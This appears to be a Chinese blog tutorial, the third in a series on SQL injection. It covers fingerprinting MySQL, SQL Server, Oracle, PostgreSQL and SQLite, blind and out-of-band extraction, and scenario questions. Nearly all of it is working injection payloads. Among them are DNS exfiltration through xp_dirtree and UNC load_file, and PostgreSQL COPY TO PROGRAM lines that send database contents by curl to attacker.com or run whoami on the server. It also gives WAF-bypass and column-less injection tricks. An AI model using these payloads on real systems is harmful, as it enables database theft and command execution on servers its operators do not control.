SQL注入(三)多数据库差异、无回显与场景题

前两篇的 payload 默认目标都是 MySQL。这一篇解决两个问题:换成别的数据库怎么写,以及完全看不到回显的时候怎么把数据带出来。

一、先确认打的是什么数据库

数据库类型决定了后面所有 payload 的写法,这一步不能跳。

1.1 从报错判断

最快的办法,前提是报错回显:

报错特征数据库
You have an error in your SQL syntaxMySQL
Unclosed quotation mark after the character stringSQL Server
Microsoft OLE DB Provider for SQL ServerSQL Server
ORA-01756、ORA-00933Oracle
PostgreSQL、ERROR: syntax error at or nearPostgreSQL
SQLite3::query()、near "..." : syntax errorSQLite

报错里还经常直接带出版本号,连版本探测都省了。

1.2 从端口和组件判断

端口服务
3306MySQL / MariaDB
1433SQL Server
1521Oracle
5432PostgreSQL

这个只在能扫内网或者看到连接串时有用。外网 Web 应用的数据库一般不开公网端口。

1.3 用探测 payload 判断

没有报错时,用每种数据库特有的写法去"点名":

-- MySQL:有 concat 函数、有 sleep、字符串用双引号也行
?id=1 and sleep(3)--+
?id=1 and concat('a','b')='ab'--+

-- SQL Server:有 waitfor、字符串拼接用 +
?id=1;waitfor delay '0:0:3'--+
?id=1 and 'a'+'b'='ab'--+

-- Oracle:字符串拼接用 ||,union 出来的 select 必须带 from dual
?id=1 and 'a'||'b'='ab'--+
?id=-1' union select 1,user,3 from dual--+
?id=1 and 1=dbms_pipe.receive_message(('a'),3)--+

-- PostgreSQL:有 pg_sleep
?id=1;select pg_sleep(3)--+
?id=1 and 'a'||'b'='ab'--+

-- SQLite:有 sqlite_version()
?id=1 and sqlite_version()>'1'--+

字符串拼接符是最好用的区分点:'a'+'b'='ab' 成立的是 SQL Server(数字加法),'a'||'b'='ab' 成立的是 Oracle、PostgreSQL 或 SQLite,只有 concat() 能用的是 MySQL。

from dual 是 Oracle 的强特征,但要注意它出现在哪:Oracle 不允许没有 FROM 的 select,所以只有在你要注入一整条新的 select 时才需要它,也就是 union 注入里必须写 from dual。像 and 'a'||'b'='ab' 这种挂在现有查询 WHERE 后面的条件,本身就在一条完整的查询里,不需要也不能加 from dual。

反过来说,如果你的 union payload 在 MySQL 上正常,换到 Oracle 就报 ORA-00923: FROM keyword not found where expected,那就是撞上 Oracle 了。

二、五种数据库的差异速查

2.1 语法差异

维度MySQLSQL ServerOraclePostgreSQLSQLite
行注释-- (要空格)、#--------
块注释/**//**//**//**//**/
字符串拼接concat()+||||||
标识符引用`col`[col]"COL""col""col"
分页limit 5,10top 10 / offset 5 rows fetch next 10 rows onlyrownum<=10 / offset 5 rows fetch next 10 rows onlylimit 10 offset 5limit 10 offset 5
堆叠查询看驱动支持不支持支持支持
大小写Linux 下表名敏感不敏感标识符默认大写不加引号折叠成小写不敏感
虚表不需要不需要必须 from dual不需要不需要

Oracle 的大小写这条要特别注意:不加引号创建的列名会被转成大写,所以 where table_name='users' 在 Oracle 里查不到东西,得写 'USERS' 或者 upper('users')。

2.2 信息获取差异

想要的信息MySQLSQL ServerOraclePostgreSQLSQLite
当前库database()db_name()ora_database_namecurrent_database()无库概念
当前用户user()、current_user()system_user、suser_sname()usercurrent_user无
版本version()、@@version@@versionv$version、bannerversion()sqlite_version()
主机名@@hostname@@servernameutl_inaddr.get_host_name无无
数据目录@@datadir无无无无
表清单information_schema.tablessysobjects / sys.tablesall_tables、user_tablespg_tables、information_schema.tablessqlite_master
列清单information_schema.columnssyscolumns / information_schema.columnsall_tab_columnsinformation_schema.columnssqlite_master.sql

2.3 能力差异

能力MySQLSQL ServerOraclePostgreSQLSQLite
延时sleep()、benchmark()waitfor delaydbms_pipe.receive_message、dbms_lock.sleeppg_sleep()无原生,靠重查询
报错注入函数很多convert/cast 类型转换utl_inaddr 等(多已限制)cast 类型转换基本没有
读文件load_file()OPENROWSET(BULK)utl_filepg_read_file、COPY无
写文件into outfile/dumpfilexp_cmdshell 等utl_fileCOPY TO无
命令执行UDFxp_cmdshell、sp_oacreateJava 存储过程、dbms_schedulerCOPY TO PROGRAM无
默认高权账号rootsasys、systempostgres无

2.4 逐库的元数据查询

MySQL:

-- 所有库
select group_concat(schema_name) from information_schema.schemata--+

-- 当前库的表
select group_concat(table_name) from information_schema.tables where table_schema=database()--+

-- 指定表的列
select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'--+

SQL Server:

-- 所有库
select name from master..sysdatabases--+

-- 当前库的用户表
select name from sysobjects where xtype='U'--+

-- 指定库的表(跨库查询用 ..)
select name from 目标库..sysobjects where xtype='U'--+

-- 指定表的列
select name from syscolumns where id=object_id('users')--+

-- 把多行拼成一个字符串
select stuff((select ','+name from sysobjects where xtype='U' for xml path('')),1,1,'')--+

SQL Server 没有 group_concat,用 for xml path('') 拼接、stuff() 去掉开头的逗号,这是固定套路。

Oracle:

-- 当前用户能看到的表
select table_name from all_tables--+

-- 当前用户自己建的表
select table_name from user_tables--+

-- 带属主(区分同名表)
select owner||'.'||table_name from all_tables--+

-- 指定表的列
select column_name from all_tab_columns where table_name='USERS'--+

-- 版本
select banner from v$version where rownum=1--+

Oracle 没有 group_concat,用 listagg:

select listagg(table_name,',') within group (order by table_name) from user_tables--+

注意 listagg 是 11g R2 才有的,老版本要换 wm_concat。

PostgreSQL:

-- 所有库
select string_agg(datname,',') from pg_database--+

-- 当前库的表
select string_agg(tablename,',') from pg_tables where schemaname='public'--+

-- 列
select string_agg(column_name,',') from information_schema.columns where table_name='users'--+

-- 用户
select string_agg(usename,',') from pg_user--+

SQLite:

-- 所有表
select group_concat(name) from sqlite_master where type='table'--+

-- 建表语句,列名直接能看到
select sql from sqlite_master where type='table'--+

SQLite 里 sqlite_master.sql 存的是完整建表语句,一次就能拿到表结构和列名,比 MySQL 分两步查省事。

三、无回显时的分流

3.1 三个问题

遇到注入点但没有数据返回,按顺序问自己三个问题:

报错信息返回给用户了吗?        是 -> 报错注入
页面有真假两种稳定状态吗?      是 -> 布尔盲注
响应时间可控吗?                是 -> 时间盲注
数据库能发起对外网络请求吗?    是 -> 带外注入(OOB)
都不行 -> 写文件到 web 目录,或者放弃

"无回显"其实有三种不同的情况,处理方式不一样:

情况特征走哪条路
数据不回显,但报错回显页面正常,加引号报 SQL 错误报错注入
数据和报错都不回显,但有状态差异真假时返回内容长度/状态码不同布尔盲注
完全没有可见差异真假响应一模一样时间盲注 / OOB

3.2 站库分离的影响

站库分离(Web 和数据库不在同一台机器)会改变两件事:

一是写文件没用。 into outfile '/var/www/html/shell.php' 写到的是数据库服务器的磁盘。如果数据库和 Web 不在一起,写进去的文件 web 访问不到,拿不到 shell。判断方法:读 @@hostname、@@datadir,和 web 服务器的主机名对比;或者写一个文件,再通过 web 访问试试。

二是 OOB 是从数据库服务器发出的。 DNSLog 收到的请求来自数据库那台机器,源 IP 是数据库的内网 IP。这反而有用——能确认数据库的内网地址,也能确认它能不能出网。

四、带外注入(OOB)

4.1 原理和前提

核心思路:不用 HTTP 响应当信道,改用数据库主动发起的网络请求。数据被拼进域名或者 URL 里,由我们控制的 DNS/HTTP 服务器接收。

前提有两个,缺一不可:

  1. 数据库服务器能出网(能解析外部域名、能访问外网)。
  2. 当前数据库账号有触发网络请求的权限,或者能用上某个会走网络的函数。

接收端用 DNSLog 平台就行:dnslog.cn、ceye.io、Burp Collaborator。收到记录就说明 payload 执行了,并且记录里的子域名就是你带出来的数据。

DNS 方式比 HTTP 好在哪:DNS 查询几乎不会被出网防火墙拦(很多环境只放行 DNS),而且不需要数据库装任何扩展。

4.2 MySQL

MySQL 的 OOB 走 load_file() 读 UNC 路径,本质上是用 SMB 协议去访问远程共享,Windows 在解析主机名时会产生 DNS 查询。

?id=1' and load_file(concat('\\\\',(select database()),'.dnslog.cn\\a'))--+
?id=1' and load_file(concat('\\\\',(select hex(user())),'.dnslog.cn\\a'))--+

\\\\ 在 MySQL 字符串里经过一次转义后是 \\,加上后面拼的内容,最终形成 \\security.dnslog.cn\a 这样的 UNC 路径。

三个前提,缺一个都不行:

  • 必须是 Windows。UNC 路径是 Windows 的东西,Linux 上的 MySQL 不支持,这条路直接断。
  • 有 FILE 权限。没有就别想。
  • secure_file_priv 允许。先查:
?id=1' and (select @@secure_file_priv)--+

三种取值:空字符串表示不限制;具体路径表示只能操作该目录下的文件;NULL 表示完全禁用文件读写。只有空字符串时 load_file 才能读任意路径,是具体路径的话就出不去。

如果这三条满足不了,MySQL 在 Linux 上基本没有可用的 OOB,只能退回盲注,或者如果能写文件就写到 web 目录(这属于写 shell,不是 OOB)。

4.3 SQL Server

这是题目里专门问的部分。SQL Server 的 OOB 比 MySQL 好用得多,原因是 xp_dirtree 之类的扩展存储过程默认对普通用户开放,不需要 sysadmin。

主力手法 xp_dirtree:

?id=1;declare @q varchar(200);set @q='\\'+(select db_name())+'.dnslog.cn\a';exec master..xp_dirtree @q--+
?id=1';exec master..xp_dirtree '\\test.dnslog.cn\a'--+

xp_dirtree 的作用是列出一个目录下的子目录,参数是 UNC 路径时它会去解析主机名,从而触发 DNS 查询。数据拼在主机名的最前面,DNSLog 上就能看到 security.dnslog.cn 这条记录。

注意 T-SQL 里反斜杠不是转义字符,所以直接写 '\\' 就是两个反斜杠,不用像 MySQL 那样写四个,这是很多人第一次写错的地方。

xp_fileexist 和 xp_subdirs 同理:

?id=1';exec master..xp_fileexist '\\test.dnslog.cn\a'--+
?id=1';exec master..xp_subdirs '\\test.dnslog.cn\a'--+

没有堆叠注入怎么办。 上面几条都依赖 ; 堆叠,因为 exec 不能写在表达式里。如果目标只允许联合或条件注入,改用 OPENROWSET(BULK):

?id=1 and 1=(select 1 from openrowset(bulk '\\test.dnslog.cn\a',single_clob) as a)--+
?id=-1' union select 1,(select top 1 bulkcolumn from openrowset(bulk '\\test.dnslog.cn\a',single_clob) as a),3--+

OPENROWSET(BULK ...) 需要开启即席查询:

?id=1';exec sp_configure 'show advanced options',1;reconfigure--+
?id=1';exec sp_configure 'Ad Hoc Distributed Queries',1;reconfigure--+

把数据带出去的完整写法(一次性带多行):

?id=1;declare @q varchar(200);select @q='\\'+(select stuff((select '.'+name from sysobjects where xtype='U' for xml path('')),1,1,''))+'.dnslog.cn\a';exec master..xp_dirtree @q--+

表名用 . 连接后拼进域名,DNSLog 上看到的那一长串就是所有表名。这就是 MSSQL 无回显的标准解法——不需要回显、不需要报错、一次请求带出一批数据。

顺便说一句,xp_dirtree 还能用来做 SMB 中继攻击(让数据库去连我们控制的 SMB 服务器,抓 NTLM hash),那是另一个方向,不在这里展开。

4.4 Oracle

Oracle 走 HTTP 居多:

?id=1' and 1=utl_http.request('http://dnslog.cn/'||(select user from dual))--+
?id=1' and 1=utl_inaddr.get_host_address((select user from dual)||'.dnslog.cn')--+
?id=1' and 1=httpuritype('http://'||(select user from dual)||'.dnslog.cn').getclob()--+

前提比较苛刻:

  • 需要 UTL_HTTP / UTL_INADDR 的 EXECUTE 权限。Oracle 11g 之后这两个包的权限默认从 PUBLIC 收回,没授权就是用不了。
  • Oracle 11g 引入了网络访问控制(ACL),即使有 EXECUTE 权限,还要在 DBA_NETWORK_ACLS 里给这个数据库用户放行目标主机,否则报 ORA-24247: network access denied by access control list。

所以实战里 Oracle 的 OOB 成功率不高。遇到 Oracle 优先考虑:能出网且 ACL 放行才用 OOB,否则老老实实做布尔或时间盲注。

4.5 PostgreSQL

PostgreSQL 的 OOB 靠 COPY ... TO PROGRAM,它会把查询结果送到一个外部程序的 stdin。这个特性非常顺手,可以直接把数据 POST 出去:

?id=1';copy (select current_database()) to program 'curl -X POST --data-binary @- http://attacker.com/collect'--+
?id=1';copy (select string_agg(tablename,',') from pg_tables where schemaname='public') to program 'curl -X POST --data-binary @- http://attacker.com/collect'--+

--data-binary @- 让 curl 从 stdin 读请求体,而 stdin 正好是 COPY 送过来的查询结果。一次请求直接把整批数据 POST 到我们的服务器,比 DNS 一次只能带一个域名的效率高得多。

DNS 版本:

?id=1';copy (select '') to program 'nslookup `whoami`.dnslog.cn'--+

反引号是 shell 的命令替换,会在数据库服务器上执行 whoami 并把结果拼进域名。

前提:需要超级用户,或者 PostgreSQL 11+ 里的 pg_execute_server_program 角色。另外 dblink 扩展也能用来触发外连:

?id=1';select * from dblink('host=attacker.com dbname=x user=x password=x','select 1')--+

连接失败不要紧,重要的是它尝试连接这件事本身,DNS 查询已经发出去了。

4.6 出不了网的替代方案

数据库能出网是运气,出不了网是常态。这时候还有几条路:

写入 web 目录。 不是 OOB,但效果类似——把数据写成一个文件,再通过浏览器访问读出来。

?id=1' union select 1,(select database()),3 into outfile '/var/www/html/out.txt'--+

前提是知道 web 绝对路径、有 FILE 权限、secure_file_priv 允许、目录可写。

写进数据库表再换个地方读。 如果站内有另一个有回显的注入点,或者有用户可编辑的字段,可以把数据写进去再从别处读。适用于同一套数据库有多个入口的场景。

侧信道。 实际上就是时间盲注,只是把"一位一位猜"换成"用响应时间传多位"(比如用不同的延时长度编码不同的值)。请求数能降一些,但本质没变。

大小写/状态码侧信道。 少数场景下,可以让数据库根据数据内容返回不同的 HTTP 状态码(比如查询结果为空时应用返回 404),这就变成了布尔信道。

五、场景题

Q1:sleep 被过滤了,时间盲注还能做吗

能。MySQL 至少有三种延时手段,sleep 只是最方便的那个:

-- benchmark 替代
?id=1 and if(1=1,benchmark(5000000,md5(1)),0)--+

-- 笛卡尔积重查询替代,完全不出现 sleep、benchmark 这些关键字
?id=1' and if(ascii(substr(database(),1,1))>100,(select count(*) from information_schema.columns a,information_schema.columns b,information_schema.columns c),1)--+

-- GET_LOCK 制造锁等待
?id=1 and if(1=1,get_lock('a',5),0)--+

笛卡尔积那条最值得记住:它就是一条普通的 count(*),WAF 规则里没有理由拦它,但三个 information_schema.columns 相乘是千万级,跑起来就是好几秒。

GET_LOCK 那条要说清楚它的机制,否则第一次用会以为失效:GET_LOCK('a',5) 的行为是"锁被别人占着就等最多 5 秒",锁没人占时它会立刻返回。所以单次请求里直接调它根本不延时。要让它产生等待,得让同一个数据库连接在之前的某个请求里已经拿到了 a 这把锁并且没释放——GET_LOCK 的锁在连接关闭前一直有效,而应用用了连接池的话连接不会关,这个前提就成立了。换句话说这条路依赖连接池,不是所有目标都能用,把它当备选而不是首选。

benchmark 和重查询的具体耗时随机器性能变化,用之前先在目标上标定一次。

Q2:知道库名,但 information_schema 被 WAF 拦了

MySQL 里有几个替代的元数据表,很多人不知道:

-- innodb_table_stats:InnoDB 自带的表统计信息
?id=1' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from mysql.innodb_table_stats where database_name=database())))--+

-- sys.schema_table_statistics(MySQL 5.7+)
?id=1' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from sys.schema_table_statistics)))--+

-- sys.schema_auto_increment_columns:只列有自增列的表
?id=1' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from sys.schema_auto_increment_columns)))--+

这几个表名里没有 information_schema 这个关键字,绕过了基于关键词的规则。

information_schema 本身也可以用内联注释、大小写、反引号绕:

?id=1' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from /*!50000information_schema*/.tables where table_schema=database())))--+

Q3:表名和列名都拿不到,但能确定数据在哪张表

无列名注入。原理是利用派生表的列名由第一个 select 决定这一点:

select `2` from (select 1,2,3 union select * from users)a

(select 1,2,3 union select * from users)a 这个派生表的列名不是 users 的列名,而是第一个 select 里写的 1、2、3。所以外层用 `2` 就能取到 users 的第二列,完全不需要知道列名。

套进注入点:

?id=-1' union select 1,(select `2` from (select 1,2,3 union select * from users)a limit 0,1),3--+
?id=-1' union select 1,(select `2` from (select 1,2,3 union select * from users)a limit 1,1),3--+

内层 select 1,2,3 的列数必须和 users 的列数一致,对不上会报列数不同。不确定列数时先试 select 1,2、select 1,2,3,4 逐个试。

列名里的数字要用反引号包起来,因为纯数字不能直接当标识符。

Q4:回显被截断了

三种处理:

-- 分段取
?id=-1' union select 1,substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,50),3--+

-- 先转十六进制再取,避免特殊字符破坏传输
?id=-1' union select 1,hex((select group_concat(table_name) from information_schema.tables where table_schema=database())),3--+

-- 从后往前取,确认末尾内容
?id=-1' union select 1,reverse(substr(reverse((select group_concat(table_name) from information_schema.tables where table_schema=database())),1,50)),3--+

先取总长度再决定分几段,避免漏字符。

Q5:目标不出网,也没有文件写权限

那就只剩盲注。这时候优化方向不是"换信道",而是"降请求数":

  • 用 regexp 一次判断多个字符(第二篇 4.4)。
  • 用 group_concat 一次取多行,把几百次请求压到几十次。
  • 并发请求,注意别把目标打挂。
  • 二分的边界收窄:先确定字符集范围(比如先判断是数字还是字母),再二分。

Q6:怎么判断一个注入点是不是站库分离

?id=1' and extractvalue(1,concat(0x7e,@@hostname))--+
?id=1' and extractvalue(1,concat(0x7e,@@datadir))--+

拿到数据库的主机名和数据目录,和 web 服务器的信息对比。@@datadir 显示的路径格式也能反推操作系统(C:\... 是 Windows,/var/lib/mysql/ 是 Linux),这对判断能不能用 UNC 做 OOB 很关键。

Q7:所有常见关键字都被拦了

先确认不是误判——有时候"被拦"只是页面返回了统一错误页,实际注入是成立的,用布尔对比验证一下。

真的被拦,按这个顺序试:大小写混合、内联注释 /*!50000...*/、等价函数替换(substr→mid→left,ascii→ord,=→like/between/regexp)、编码(URL 双重编码、十六进制)、分块传输。第三篇讲 WAF,这些手法在第六篇会逐条展开。

Q8:怎么确认 OOB 真的执行了,而不是 DNSLog 抽风

DNSLog 上出现记录,只能说明有人发起了这次解析。要确认是目标数据库发的,看两点:

  1. 记录的时间点和你发请求的时间是否对得上。
  2. 子域名里带的数据是否符合预期。比如你拼的是 (select database()),收到的是 security.dnslog.cn,那基本可以确认。

如果想让证据更硬,把数据换成随机串再发一次,看收到的子域名是不是同一个随机串:

?id=1';exec master..xp_dirtree '\\a7f3k9.dnslog.cn\a'--+

收到 a7f3k9.dnslog.cn 就板上钉钉了。


下一篇进入提权:MySQL 的 UDF 和 MOF 提权、UDF 传不上去 dll 时的几条替代路径、--os-shell 的利用条件、SQL Server 写 webshell 的几种手法,最后是拿到低权 shell 之后怎么往系统权限走。

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇